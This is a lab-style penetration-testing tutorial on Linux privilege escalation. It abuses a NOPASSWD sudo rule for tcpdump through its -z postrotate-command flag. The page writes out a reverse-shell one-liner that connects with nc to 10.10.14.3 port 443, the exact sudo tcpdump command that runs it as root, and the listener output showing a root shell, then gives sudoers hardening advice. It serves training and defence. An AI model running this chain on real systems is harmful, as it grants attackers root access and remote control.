Linux Privilege Escalation — Sudo Rights Abuse
Sudo privileges let an account run specific commands in the context of root (or another account) without a full user switch or blanket privilege grant. Every sudo invocation is checked against the rules in /etc/sudoers. On landing on a system, always check the current user’s sudo rights with sudo -l — a password may be required to list some rights, but any entry marked NOPASSWD can be seen without one.
htb_student@NIX02:~$ sudo -l
Matching Defaults entries for sysadm on NIX02:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sysadm may run the following commands on NIX02:
(root) NOPASSWD: /usr/sbin/tcpdump
Misconfiguration is easy: a user may be granted a NOPASSWD rule, or the permitted command may be specified loosely enough to let it be run in an unintended way — turning an innocuous-looking sudoers entry like (ALL) NOPASSWD: /usr/sbin/tcpdump into a path to root.
GTFOBins via Sudo — tcpdump’s postrotate-command
tcpdump’s -z flag, used together with -C/-G (savefile rotation), runs postrotate-command file on each rotated savefile — e.g. -z gzip to compress it. Because that command executes with tcpdump’s own privileges, pointing -z at an attacker-controlled script turns a sudo rule for tcpdump into arbitrary code execution as root.
Step 1 — Stage a payload (reverse shell one-liner):
htb_student@NIX02:~$ cat /tmp/.test
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
Step 2 — Start a listener on the attacking box, then run tcpdump under sudo with -z pointed at the payload and -Z root to force the rotation to happen as root:
htb_student@NIX02:~$ sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
dropped privs to root
tcpdump: listening on ens192, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
6 packets received by filter
compress_savefile: execlp(/tmp/.test, /dev/null) failed: Permission denied
0 packets dropped by kernel
-w /dev/null -W 1 -G 1 forces an immediate single-file rotation, which triggers the postrotate command right away instead of waiting on a real capture rotation schedule.
Result — a root shell lands on the listener almost instantly:
rnemeth@htb[/htb]$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.2.12] 38938
bash: cannot set terminal process group (10797): Inappropriate ioctl for device
bash: no job control in this shell
root@NIX02:~# id && hostname
id && hostname
uid=0(root) gid=0(root) groups=0(root)
NIX02
Note: AppArmor on more recent distributions has locked down what the postrotate-command can run, effectively blocking this specific technique — check the target’s AppArmor status before relying on it.
Sudoers Best Practices (What to Look For)
- Absolute paths. A sudoers entry should always specify the full path to a binary. An entry for a bare command name (
catinstead of/bin/cat) is vulnerable toPATHabuse — planting a malicious binary earlier in$PATHgets executed instead of the intended one. - Least privilege. Sudo rights should be scoped to only what a user’s job requires. A single narrowly-scoped
NOPASSWDentry (as withtcpdumpabove) is still enough to reach root if the allowed binary has a GTFOBins entry — full/blanket sudo access isn’t the only risky configuration.
Key Takeaways
sudo -lis always the first move on a new foothold —NOPASSWDentries are visible without a password and are the easiest wins.- Any binary a user is permitted to run via sudo is a GTFOBins lookup away from a potential privesc technique, not just binaries with the SUID bit set.
tcpdump’s-z postrotate-commandis one concrete example; the same “sudo rule + built-in shell-out/exec feature” pattern applies broadly — cross-reference every sudo-permitted binary against GTFOBins.- Bare command names (no absolute path) in sudoers entries open the door to
PATHhijacking — covered in the next section.